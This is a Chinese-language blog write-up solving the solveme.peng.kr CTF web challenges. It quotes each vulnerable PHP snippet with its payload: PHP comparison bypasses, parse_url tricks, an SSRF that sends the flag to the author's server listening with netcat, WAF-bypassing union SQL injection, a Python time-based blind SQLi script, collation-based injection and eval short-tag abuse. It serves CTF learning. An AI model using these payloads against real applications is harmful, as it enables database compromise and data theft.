前一阵子关注点在实战上,现在又回归CTF学习套路了,这个网站http://solveme.peng.kr本来做了一半的题目,今天终于把他补完了,学到了炒鸡多的东西啊~
给出来一个密文和一段代码
1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY=
error_reporting(0);
require __DIR__.'/lib.php';
echo base64_encode(hex2bin(strrev(bin2hex($flag)))), '
';
highlight_file(__FILE__);
这题直接反过来写代码即可
$s = '1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY=';
echo hex2bin(strrev(bin2hex(base64_decode($s))));
error_reporting(0);
require __DIR__.'/lib.php';
if(isset($_GET['answer'])){
if($_GET['answer'] === '尊찢悼嚴隆'){
echo $flag;
}else{
echo 'Wrong answer';
}
echo '
';
}
highlight_file(__FILE__);
这题可以知道我们要传进get参数,但是===
后面的内容不在可见的ASCII码范围内于是我们抓包看一下
找到对应字符串的ASCII码,我们知道单引号url编码为%27,两个27之间的就是那串字符串的ASCII码,
直接构造payload:?answer=%f0%ee%c2%f5%d3%fa%e5%f1%d7%cc
,得到flag
error_reporting(0);
require __DIR__.'/lib.php';
if(isset($_GET['time'])){
if(!is_numeric($_GET['time'])){
echo 'The time must be number.';
}else if($_GET['time'] < 60 * 60 * 24 * 30 * 2){
echo 'This time is too short.';
}else if($_GET['time'] > 60 * 60 * 24 * 30 * 3){
echo 'This time is too long.';
}else{
sleep((int)$_GET['time']);
echo $flag;
}
echo '
';
}
highlight_file(__FILE__);
这一个题目我们运用了int的强制转换
和科学计数法
这个题目先使用科学计数法绕过前面的两个time
以及is_numeric
,最后通过int的阶段获取到flag,因为60 * 60 * 24 * 30 * 2=5.184*10^6
现在的payload:?time=5.185e6
,sleep大约5秒后出现flag
为什么出现这样的效果我们来测试一下
$time = '5.185e6';
$num1 = 60 * 60 * 24 * 30 * 2;
$num2 = 60 * 60 * 24 * 30 * 3;
var_dump(!is_numeric($time));
var_dump($time>$num1);
var_dump($time<$num2);
var_dump((int)$time);
bool(false)
bool(true)
bool(true)
int(5)
一开始上手这一个题目,发现什么头绪也没有,因为他的那些参数我一个都不知道,发现url有点奇怪后来就尝试着直接去访问index.php
,网页顿了一下又回到了login.php,怀疑存在302跳转
,于是抓包看一下,果然重定向到login.php
但同时我们也得到flag
error_reporting(0);
require __DIR__."/lib.php";
$url = urldecode($_SERVER['REQUEST_URI']);
$url_query = parse_url($url, PHP_URL_QUERY);
$params = explode("&", $url_query);
foreach($params as $param){
$idx_equal = strpos($param, "=");
if($idx_equal === false){
$key = $param;
$value = "";
}else{
$key = substr($param, 0, $idx_equal);
$value = substr($param, $idx_equal + 1);
}
if(strpos($key, "do_you_want_flag") !== false || strpos($value, "yes") !== false){
die("no hack");
}
}
if(isset($_GET['do_you_want_flag']) && $_GET['do_you_want_flag'] == "yes"){
die($flag);
}
highlight_file(__FILE__);
这一个题目我们可以发现存在parse_url函数,这个函数有个漏洞可以用多个/符号去绕过,然后就不会执行die("no hack")
;转而执行了下面的语句。
这里有篇方方土学长写过的总结:点我
构造的payload:///?do_you_want_flag=yes
后来发现还有官方的解法,就是利用描点去绕过,从来都不知道还可以这样搞
http://urlfiltering.solveme.peng.kr/?%23&do_you_want_flag=yes
error_reporting(0);
require __DIR__.'/lib.php';
if(isset($_GET['foo'], $_GET['bar'])){
if(strlen($_GET['foo']) > 30 || strlen($_GET['bar']) > 30){
die('Too long');
}
if($_GET['foo'] === $_GET['bar']){
die('Same value');
}
if(hash('sha512', $_GET['foo']) !== hash('sha512', $_GET['bar'])){
die('Different hash');
}
echo $flag, '
';
}
highlight_file(__FILE__);
这种题目做了很多遍了,就是利用数组返回NULL去绕过,构造下面的payload
?foo[]=1&bar[]=2
error_reporting(0);
require __DIR__.'/lib.php';
$value = $_GET['value'];
$username = $_GET['username'];
$password = $_GET['password'];
for ($i = 0; $i < count($value); ++$i) {
if ($_GET['username']) unset($username);
if ($value[$i] > 32 && $value[$i] < 127) unset($value);
else $username .= chr($value[$i]);
if ($username == '15th_HackingCamp' && md5($password) == md5(file_get_contents('./secret.passwd'))) {
echo 'Hello '.$username.'!', '
', PHP_EOL;
echo $flag, '
';
}
}
highlight_file(__FILE__);
发现要跟./secret.passwd
路径下的内容一样,先去里面看一下,发现字符串simple_passw0rd
这个题目get到了一个新的知识点
就是chr()这个函数再ASCII码超过255的时候会自动取余,我们利用这个特性去拼接username的字符串,于是写了个Python脚本构造payload:
#!/usr/bin/python
# Author:0verWatch
# coding:utf-8
s = '''15th_HackingCamp'''
dit = []
payload = ''
for i in s:
dit.append((ord(i)+256))
#print dit
for j in dit:
payload += ('value[]='+str(j)+'&')
print payload+'password=simple_passw0rd'
得到payload:
?value[]=305&value[]=309&value[]=372&value[]=360&value[]=351&value[]=328&value[]=353&value[]=355&value[]=363&value[]=361&value[]=366&value[]=359&value[]=323&value[]=353&value[]=365&value[]=368&password=simple_passw0rd
最后得到flag
error_reporting(0);
require __DIR__.'/lib.php';
if(isset($_GET['say']) && strlen($_GET['say']) < 20){
$say = preg_replace('/^(.*)flag(.*)$/', '${1}${2}', $_GET['say']);
if(preg_match('/give_me_the_flag/', $say)){
echo $flag;
}else{
echo 'What the f**k?';
}
echo '
';
}
highlight_file(__FILE__);
这题题目漏洞出现在正则匹配那里
根据我们查到的资料,因为以’^’开头,以’$’结尾的只能匹配一行,也就是说我们可以用%0a
/url编码下的换行/去绕过
于是我们可以构造payload:?say=%0Agive_me_the_flag
得到flag
error_reporting(0);
require __DIR__.'/lib.php';
if(isset($_GET['url'])){
$url = $_GET['url'];
if(preg_match('/_|\s|\0/', $url)){
die('Not allowed character');
}
$parse = parse_url($url);
if(!preg_match('/^https?$/i', $parse['scheme'])){
die('Not allowed scheme');
}
if(!preg_match('/^(localhost|127\.\d+\.\d+\.\d+|[^.]+)(\:\d+)?$/i', $parse['host'])){
die('Not allowed host');
}
if(!preg_match('/\/plz_give_me$/', $parse['path'])){
die('Not allowed path');
}
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if($socket === false){
die('Failed to create socket');
}
$host = gethostbyname($parse['host']);
$port = is_null($parse['port']) ? 80 : $parse['port'];
if(socket_connect($socket, $host, $port) === false){
die('Failed to connect');
}
$send = "HEAD /".$flag." HTTP/1.1\r\n".
"Host: ".$host.":".$port."\r\n".
"Connection: Close\r\n".
"\r\n\r\n";
socket_write($socket, $send, strlen($send));
$recv = socket_read($socket, 1024);var_dump($recv);
if(!preg_match('/^HTTP\/1.1 200 OK\r\n/', $recv)){
die('Not allowed response');
}
socket_close($socket);
echo 'Okay, I sent the flag.', '
';
}
highlight_file(__FILE__);
跟上面一题类似,只是对于host有了过滤,这里我们用 ip2long()
函数将网络地址转化为数字地址,这样就可以绕过.的ip过滤
echo ip2long("120.78.164.84");
?>
Payload :
givemealink2.solveme.peng.kr?url=http://2018419796:8080/plz%1agive%1ame
然后在服务器上面开监听
nc -lvnp 8080
就可以接收到返回的flag
error_reporting(0);
require __DIR__.'/lib.php';
if(isset($_GET['url'])){
$url = $_GET['url'];
if(preg_match('/_|\s|\0/', $url)){
die('Not allowed character');
}
if(!preg_match('/^https?\:\/\/'.$_SERVER['HTTP_HOST'].'/i', $url)){
die('Not allowed URL');
}
$parse = parse_url($url);
if($parse['path'] !== '/plz_give_me'){
die('Not allowed path');
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $parse['scheme'].'://'.$parse['host'].'/'.$flag);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_exec($ch);
curl_close($ch);
echo 'Okay, I sent the flag.', '
';
}
highlight_file(__FILE__);
这里发现这段代码的逻辑是用get方法接受一个参数url,而这个参数要经过三次的检测,第一次会把含有下划线,空白字符过滤掉,第二次过滤检验的是是否满足url的格式,而且必须含有$_SERVER['HTTP_HOST']
里面的内容也就是http://givemealink.solveme.peng.kr/
,而第三次则判断路径下是否含有plz_give_me
这个字段,突然发现这个东西跟第一个过滤下划线的自相矛盾,查一下PHP文档,问题出现在parse_url这个函数里
url
The URL to parse. Invalid characters are replaced by _.
非法字符在这个函数下会自动替换成下划线,测试一下
$url = urldecode("http://0verwatch.top/%1atest%1a.php");
var_dump(parse_url($url));
?>
array(3) {
["scheme"]=>
string(4) "http"
["host"]=>
string(13) "0verwatch.top"
["path"]=>
string(11) "/_test_.php"
}
发现这时候就可以利用这一点成功绕过第一个过滤,以及满足第三个过滤
这时候考虑第二个过滤,继续查看parse_url这个函数文档你会发现他有这样一个例子,
$url = 'http://username:password@hostname:9090/path?arg=value#anchor';
var_dump(parse_url($url));
这也是url的一种写法,现在感觉很少用在http服务上感觉在ssh连接自己的服务器上面用的多,因为一般的url都是这样的
protocol :// hostname[:port] / path / [;parameters][?query]#fragment
但是平常我们连接自己服务器的时候可以这样ssh root@vps_ip
然后输入密码,这应该也是这种类型的
然后这里的话相当于username还有password没有任何实际作用,纯粹就是用来写那个$_SERVER[‘HTTP_HOST’]来进行绕过的
payload:http://givemealink.solveme.peng.kr?url=givemealink.solveme.peng.kr@vps_ip/plz%1agive%1ame
我们再测试一下,结果完全符合我们绕过的要求
array(4) {
["scheme"]=>
string(4) "http"
["host"]=>
string(13) "120.78.164.84"
["user"]=>
string(59) "givemealink.solveme.peng.kr?url=givemealink.solveme.peng.kr"
["path"]=>
string(12) "/plz_give_me"
}
然后就利用那一个curl_setopt函数往我们这边服务器发送flag了,vps这边监听80端口,出现flag
点开发现存在一大堆Js混淆代码,解码一看发现有一堆数字很可疑
"4"+"7","4"+"7","3"+"2","1"+"0"+"3","111","111","100","3"+"2","106","111","98","3"+"3","1"+"0","1"+"0","108","101","116","3"+"2","102","108","97","1"+"0"+"3","3"+"2","61","3"+"2","112","1"+"1"+"4","111","1"+"0"+"9","112","116","40","34","119","1"+"0"+"4","97","116","3"+"2","105","1"+"1"+"5","3"+"2","116","1"+"0"+"4","101","3"+"2","102","108","97","1"+"0"+"3","6"+"3","34","4"+"1","5"+"9","1"+"0","1"+"0","105","102","3"+"2","40","102","108","97","1"+"0"+"3","3"+"2","61","61","61","3"+"2","34","34","4"+"1","3"+"2","1"+"2"+"3","1"+"0","1"+"0","9","97","108","101","1"+"1"+"4","116","40","34","112","108","110","112","1"+"1"+"7","116","34","4"+"1","5"+"9","1"+"0","1"+"0","125","3"+"2","101","108","1"+"1"+"5","101","3"+"2","105","102","3"+"2","40","102","108","97","1"+"0"+"3","3"+"2","61","61","61","3"+"2","34","102","108","97","1"+"0"+"3","1"+"2"+"3","5"+"0","4"+"9","100","102","5"+"2","97","100","5"+"1","99","101","5"+"1","4"+"9","97","102","5"+"6","5"+"2","5"+"3","99","102","57","99","100","5"+"4","97","5"+"3","101","100","100","98","98","57","4"+"9","125","34","4"+"1","3"+"2","1"+"2"+"3","1"+"0","1"+"0","9","97","108","101","1"+"1"+"4","116","40","34","98","105","1"+"1"+"0","1"+"0"+"3","111","34","4"+"1","5"+"9","1"+"0","1"+"0","125","3"+"2","101","108","1"+"1"+"5","101","3"+"2","1"+"2"+"3","1"+"0","1"+"0","9","97","108","101","1"+"1"+"4","116","40","34","119","1"+"1"+"4","111","1"+"1"+"0","1"+"0"+"3","34","4"+"1","5"+"9","1"+"0","1"+"0","125"
写个小脚本解一下
dit = ["4"+"7","4"+"7","3"+"2","1"+"0"+"3","111","111","100","3"+"2","106","111","98","3"+"3","1"+"0","1"+"0","108","101","116","3"+"2","102","108","97","1"+"0"+"3","3"+"2","61","3"+"2","112","1"+"1"+"4","111","1"+"0"+"9","112","116","40","34","119","1"+"0"+"4","97","116","3"+"2","105","1"+"1"+"5","3"+"2","116","1"+"0"+"4","101","3"+"2","102","108","97","1"+"0"+"3","6"+"3","34","4"+"1","5"+"9","1"+"0","1"+"0","105","102","3"+"2","40","102","108","97","1"+"0"+"3","3"+"2","61","61","61","3"+"2","34","34","4"+"1","3"+"2","1"+"2"+"3","1"+"0","1"+"0","9","97","108","101","1"+"1"+"4","116","40","34","112","108","110","112","1"+"1"+"7","116","34","4"+"1","5"+"9","1"+"0","1"+"0","125","3"+"2","101","108","1"+"1"+"5","101","3"+"2","105","102","3"+"2","40","102","108","97","1"+"0"+"3","3"+"2","61","61","61","3"+"2","34","102","108","97","1"+"0"+"3","1"+"2"+"3","5"+"0","4"+"9","100","102","5"+"2","97","100","5"+"1","99","101","5"+"1","4"+"9","97","102","5"+"6","5"+"2","5"+"3","99","102","57","99","100","5"+"4","97","5"+"3","101","100","100","98","98","57","4"+"9","125","34","4"+"1","3"+"2","1"+"2"+"3","1"+"0","1"+"0","9","97","108","101","1"+"1"+"4","116","40","34","98","105","1"+"1"+"0","1"+"0"+"3","111","34","4"+"1","5"+"9","1"+"0","1"+"0","125","3"+"2","101","108","1"+"1"+"5","101","3"+"2","1"+"2"+"3","1"+"0","1"+"0","9","97","108","101","1"+"1"+"4","116","40","34","119","1"+"1"+"4","111","1"+"1"+"0","1"+"0"+"3","34","4"+"1","5"+"9","1"+"0","1"+"0","125"
]
s = ""
for i in dit:
s = s + chr(int(i))
得到flag
// good job!
let flag = prompt("what is the flag?");
if (flag === "") {
alert("plnput");
} else if (flag === "flag{21df4ad3ce31af845cf9cd6a5eddbb91}") {
alert("bingo");
} else {
alert("wrong");
}
// It's 'Anti SQLi' problem of 'Solve Me'.
error_reporting(0);
require __DIR__.'/lib.php';
$id = $_GET['id'];
$pw = $_GET['pw'];
if(isset($id, $pw)){
preg_match(
'/\.|\`|"|\'|\\|\xA0|\x0B|0x0C|\t|\r|\n|\0|'.
'=|<|>|\(|\)|@@|\|\||&&|#|\/\*.*\*\/|--[\s\xA0]|'.
'0x[0-9a-f]+|0b[01]+|x\'[0-9a-f]+\'|b\'[01]+\'|'.
'[\s\xA0\'"]+(as|or|and|r*like|regexp)[\s\xA0\'"]+|'.
'union[\s\xA0]+select|[\s\xA0](where|having)|'.
'[\s\xA0](group|order)[\s\xA0]+by|limit[\s\xA0]+\d|'.
'information_schema|procedure\s+analyse\s*/is',
$id.','.$pw
) and die('Hack detected');
$con = mysqli_connect($sql_host, $sql_username, $sql_password, $sql_dbname)
or die('SQL server down');
$result = mysqli_fetch_array(
mysqli_query(
$con,
"SELECT * FROM `antisqli` WHERE `id`='{$id}' AND `pw`=md5('{$pw}');"
)
);
mysqli_close($con);
if(isset($result)){
if($result['no'] === '31337'){
echo $flag;
}else{
echo 'Hello, ', $result['id'];
}
}else{
echo 'Login failed';
}
echo '
';
}
highlight_file(__FILE__);
简单说一下这段代码的意思,就是传进两个参数,然后进行过滤,然后进行数据库的查找,查找的结果里面如果含有31337
的就可以成功输出flag了
这段代码里面有一个很吓唬人的过滤准则,但是其实里面存在小漏洞
首先过滤了单引号啥的,注入一个单引号行不通,但是我们可以去掉一个单引号,如果要正则匹配\的话,正确的写法应该是 |\\\|
也就是说,反斜杠没有被过滤。这样我们可以注入反斜杠把id的第二个单引号给搞掉。这样一来就可以注入了
第二点就是他那个union[\s\xA0]+select
把所有非空字符都过滤掉了,所以说直接上union select
是不太行的,但是我们可以用union all select
去绕过
然后是注释的问题,因为正则里面明确把#
,还有--加上空字符
过滤掉了,那我们用--%1a
注释也是可以的
还有因为这里order by
也过滤了,只能手动去测试列数
?id=\&pw=union all select 1 from antisqli --%1A
发现回显的是Login failed说明列数不对,再继续试
?id=\&pw=union all select 1,2 from antisqli --%1A
还是login failed,再继续试
?id=\&pw=union all select 1,2,3 from antisqli --%1A
这时候回显Hello了,代码逻辑跳到第一个if条件里面,说明有3列
然后我们直接上payload
?id=\&pw=union all select 31337,2,3 from antisqli --%1A
直接出flag
这里的语句在数据库里大概是这样的
SELECT * FROM `antisqli` WHERE `id`=' \' and `pw` = md5(' union all select .... from ... --%1a
重点是union all前面的语句为空,直接执行后面的语句,这太灵活了,又学到了
error_reporting(0);
require __DIR__.'/lib.php';
if(isset($_GET['name'])){
$name = $_GET['name'];
if(preg_match("/admin|--|;|\(\)|\/\*|\\0/i", $name)){
echo 'Not allowed input';
goto quit;
}
$sql = new SQLite3('name_check.db', SQLITE3_OPEN_READWRITE);
$res = $sql->query("
SELECT
MAX('0','1','{$name}') LIKE 'a%',
INSTR('{$name}','d')>0,
MIN('{$name}','b','c') LIKE '__m__',
SUBSTR('{$name}',-2)='in'
;");
if($res === false){
echo 'Database error';
goto quit;
}
$row = $res->fetchArray(SQLITE3_NUM);
if(
$row[0] + $row[1] + $row[2] + $row[3] !== 4 ||
array_sum($row) !== 4
){
echo 'Auth failed';
goto quit;
}
echo $flag;
quit:
echo '
';
}
highlight_file(__FILE__);
我没玩过sqlite,但是感觉这里一定要满足admin这个东西,因为query函数后面的东西,但是这里的过滤是正整一个词的过滤,但是我们可以用sqlite的连接词||
去实现绕过,但是对于mysql字符串的拼接只能用concat
函数去拼接
所以最后的payload:ad'||'min
// It's 'I am slowly' problem of 'Solve Me'.
error_reporting(0);
require __DIR__.'/lib.php';
$table = 'iamslowly_'.ip2long($_SERVER['REMOTE_ADDR']);
$answer = $_GET['answer'];
if(isset($answer)){
$con = mysqli_connect($sql_host, $sql_username, $sql_password, $sql_dbname)
or die('SQL server down');
$result = mysqli_fetch_array(
mysqli_query($con, "SELECT `count` FROM `{$table}`;")
);
if(!isset($result)){
mysqli_query($con, "CREATE TABLE IF NOT EXISTS `{$table}` (`answer` char(32) NOT NULL, `count` int(4) NOT NULL);");
$new_answer = md5(sha1('iamslowly_'.mt_rand().'_'.mt_rand().'_'.mt_rand()));
mysqli_query($con, "INSERT INTO `{$table}` (`answer`,`count`) VALUES ('{$new_answer}',1);");
}elseif($result['count'] === '12'){
mysqli_query($con, "DROP TABLE `{$table}`;");
echo 'Game over';
goto quit;
}
$randtime = mt_rand(1, 10);
$result = mysqli_fetch_array(
mysqli_query($con, "SELECT * FROM `{$table}` WHERE sleep({$randtime}) OR `answer`='{$answer}';")
);
if(isset($result) && $result['answer'] === $answer){
mysqli_query($con, "DROP TABLE `{$table}`;");
echo $flag;
}else{
mysqli_query($con, "UPDATE `{$table}` SET `count`=`count`+1;");
echo 'Go fast';
}
quit:
mysqli_close($con);
echo '
';
}
highlight_file(__FILE__);
这个题目也是很骚,我第一次遇见这一种类型的题目,利用来了php以及mysql之间的延时关系去绕过那一个可恶的12.。。
但是执行过程过于缓慢啊,主要是两个延时太过耗时
概述一下这题目的意思传参进去之后,如果没有对应的表就根据你的ip创建一个表,并且这个表里面含有一个名为COUNT的字段,初始值为1,后面就一直往这里面的COUNT+1,如果到12的话就会把表删掉重新再新建一个表,所以关键是他的逻辑顺序出了错误。
判断count的值–>执行SQL语句–>加count值
这个逻辑在执行语句的时候有问题,当count=11的时候,我们执行一个sleep()时间很长的语句,该请求就会长时间停在 执行SQL语句 流程中,如果此时我们再发起一次正常请求,判断count值还是11,执行完SQL语句之后count+1=12,再当上一条SQL语句执行完毕后count再加1等于13,于是之后就可以无限制提交请求了,然后在利用盲注来获得answer,这确实骚气
小脚本,最好还是把header啥的都弄进去,毕竟是靠ip建表的,这个东西跑得很慢不值得,而且一直都跑的错的答案,QAQ
import requests
keys = '0123456789abcdef'
header = {
"Host": "iamslowly.thinkout.rf.gd",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding":"gzip, deflate",
"Referer": "http://iamslowly.thinkout.rf.gd/",
"Cookie": "__test=4e8126e93f7b5a4448c7e3c1f0b7853e",
"Upgrade-Insecure-Requests":"1",
"Cache-Control": "max-age=0"
}
payload = ''
for i in range(1,1000):
for j in keys:
url = "http://iamslowly.thinkout.rf.gd/?i=1&answer=' or if((answer like '{}%'),sleep(30),2)%23".format(payload + j)
try:
content = requests.get(url,headers=header,timeout=29).content
#print(content[:10])
print '[+]Waiting!'
except:
payload += j
print(payload)
break
这个题目一开始用扫描器扫一下发现里面存在robots.txt打开发现
User-agent: *
Disallow: /backup/
进去backup发现几个文件
一个数据库文件,还有一份源码
CREATE TABLE `lottery` (
`name` char(30) NOT NULL,
`time` int(4) NOT NULL,
`nums` char(30) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
ALTER TABLE `lottery`
ADD UNIQUE KEY `name` (`name`);
作为菜鸟感觉是SQL注入,但无从下手,知道发现原来方方土学长早就写过这题的题解https://www.anquanke.com/post/id/101939
这波骚操作还是6,运用了字符集去绕过
而且p神也发过类似的文章(tql,QAQ)
https://www.leavesongs.com/PENETRATION/mysql-charset-trick.html
先讲一下这一段代码的意思,发现骆骆大佬早就做过这题而且流程图都画好了,我就直接贴图吧。。简单粗暴
我们要利用的点就是这一段代码
$nums = preg_replace("/[a-zA-Z\[\]\=]/", "", $url_query);
$nums = strtr($nums, "&", ",");
$sql->query("INSERT INTO `lottery`(`name`, `time`, `nums`) VALUE('{$name}', '{$time}', '{$nums}');");
这段代码往数据库里面添加数据,只要我们往里面添加自己规定的值,然后再在另一处以同一ip地址进行访问(不购买)不就可以直接进到check模块了。。
意思就是这样
开始数据库里面是这样
INSERT INTO `lotter` (`name`,`time`,`nums`) VALUES ('guest_1.1.1.1','time()','69,69,69,69,69');
后来我们构造,使数据库一开始就存在这样的值,我们下一次访问的时候就名正言顺的是买正确了
INSERT INTO `lotter` (`name`,`time`,`nums`) VALUES ('guest_1.1.1.1','time()','69'),('admin1.1.1.1','$time','69,69,69,69,69'),('guest_1.1.1.1','$time','69,69,69,69,69')#',69,69,69,69');
就可以名正言顺地使bingo
这个值等于5,然后就输出flag了,也就是进入下面这段代码
$bingo = 0;
$nums_admin = explode(",", $row_admin['nums']); // admin_*
$nums_guest = explode(",", $row_guest['nums']); // guest_*
for($i = 0; $i < 5; ++$i){
for($k = 0; $k < 5; ++$k){
if(isset($nums_admin[$i], $nums_guest[$k]) && $nums_admin[$i] === $nums_guest[$k]){
++$bingo;
unset($nums_guest[$k]);
break;
}
}
}
unset($nums_admin, $nums_guest);
if($bingo == 5){ // correct all
$msg = "Perfect! The flag is {$flag}
.";
但是我们要网关键的代码注入自己想要的东西,就必须得绕过字母这个步骤,这里开始及牵涉到字符集的问题了。
总结一下那几篇博客看到的点
MySQL中的字符集转换过程:
1. MySQL Server收到请求时将请求数据从character_set_client转换为character_set_connection;
2. 进行内部操作前将请求数据从character_set_connection转换为内部操作字符集,其确定方法如下:
使用每个数据字段的CHARACTER SET设定值;
• 若上述值不存在,则使用对应数据表的DEFAULT CHARACTER SET设定值(MySQL扩展,非SQL标准);
• 若上述值不存在,则使用对应数据库的DEFAULT CHARACTER SET设定值;
• 若上述值不存在,则使用character_set_server设定值。
3. 将操作结果从内部操作字符集转换为character_set_results
也就是:
character_set_client -> character_set_connection -> 内部操作字符集
而且p神说的在MySQL里面的utf-8是阉割版,最长只支持三个字节,
如果你需要Mysql支持四字节的utf-8,可以使用utf8mb4编码。
但是这个点跟这题无关,这个点用在让数据库误认为该字母不存在直接舍弃掉的情况
第二个点是
mysql 有两个支持 unicode 的 character set:
ucs2: 使用 16 bits 来表示一个 unicode 字符。
utf8: 使用 1~3 bytes 来表示一个 unicode 字符。
而在本题目中,sql文件中显示
ENGINE=InnoDB DEFAULT CHARSET=utf8;
很显然这里是utf8,而我们一般数据库默认使用的是utf8_general_ci,而ci是指case insensitive的缩写,即大小写不敏感
这样也表明了为什么平常我们在cmd命令行下写数据库命令不区分大小写了
根据方方土学长所说的,这种模式由于diacritic ordering的排序问题使得读音符号最后被认定为英文字母
也就是对于utf8_general_ci,认为以下样例是相等的
Ä = A
Ö = O
Ü = U
而且还给出了这个超级腻害的表
http://collation-charts.org/mysql60/mysql604.utf8_general_ci.european.html
表格上方是 unicode 编码,下方是 utf8 编码
然后构造一下admin还有guest
admin: %C3%A4%C4%8F%E1%B8%BF%C3%AF%C3%B1
guest: %C4%9D%C3%B9%C3%A8%C5%9B%C5%A3
Payload
$vps_ip = '你的vps地址';
$time = time();
$url = "http://cheaplottery.solveme.peng.kr/index.php?lottery%5BA%5D=1'),('%C3%A4%C4%8F%E1%B8%BF%C3%AF%C3%B1_".$vps_ip."','{$time}','1,1,1,1,1'),('%C4%9D%C3%B9%C3%A8%C5%9B%C5%A3_".$vps_ip."','{$time}','1,1,1,1,1')%23&lottery%5BB%5D=&lottery%5BC%5D=&lottery%5BD%5D=&lottery%5BE%5D=";
echo $url;
然后在你的vps上再curl一下就得到flag了
error_reporting(0);
require __DIR__.'/lib.php';
$exam = 'return\''.sha1(time()).'\';';
if (!isset($_GET['flag'])) {
echo '$exam.'">Click here';
}
else if (strlen($_GET['flag']) != strlen($exam)) {
echo 'Not allowed length';
}
else if (preg_match('/`|"|\.|\\\\|\(|\)|\[|\]|_|flag|echo|print|require|include|die|exit/is', $_GET['flag'])) {
echo 'Not allowed keyword';
}
else if (eval($_GET['flag']) === sha1($flag)) {
echo $flag;
}
else {
echo 'What\'s going on?';
}
echo '
';
highlight_file(__FILE__);
这段代码主要利用的是if条件里面的eval函数直接输出flag,前提是这里过滤十分强大,把所有可以执行的函数全部过滤,这时候只能利用开发的一个知识,就是=$flag?>
,可以直接把flag里面的内容直接输出来,这东西我也是在学YII框架的时候学会的。
可以直接看一下文档里面有这样的一句话
= expression ?> This is a shortcut for " echo expression ?>"
这相当于说这是一个echo的缩写版
另外呢这两句话表明了php5.4以后都存在这样的缩写形式
我们现在还要考虑的是如何绕过长度的问题以及不要在payload里面存在flag这个词,所以最后的payload是
?flag=$a='blag';$a{0}='f';?>11111111111111111;=$$a;?>
这里前面的?>
的是利用了html里面的嵌套PHP的语法,同时也为了后面的=?>
可以顺利执行,中间的1
就是为了满足strlen这个函数从而执行下面的代码